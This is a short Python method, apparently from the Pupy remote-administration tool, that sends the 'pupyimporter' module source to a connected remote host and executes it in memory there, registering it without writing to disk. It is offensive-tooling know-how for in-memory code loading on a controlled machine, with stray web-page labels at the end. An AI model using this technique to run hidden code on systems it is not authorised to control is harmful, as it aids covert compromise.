def load_pupyimporter(self):
""" load pupyimporter in case it is not """
if "pupyimporter" not in self.conn.modules.sys.modules:
pupyimporter_code=""
with open(os.path.join(ROOT, "packages","all","pupyimporter.py"),'rb') as f:
pupyimporter_code=f.read()
self.conn.execute(textwrap.dedent(
"""
import imp
import sys
def pupyimporter_preimporter(code):
mod = imp.new_module("pupyimporter")
mod.__name__="pupyimporter"
mod.__file__="<memimport>\\\\pupyimporter"
mod.__package__="pupyimporter"
sys.modules["pupyimporter"]=mod
exec code+"\\n" in mod.__dict__
mod.install()
"""))
self.conn.namespace["pupyimporter_preimporter"](pupyimporter_code)
评论列表
文章目录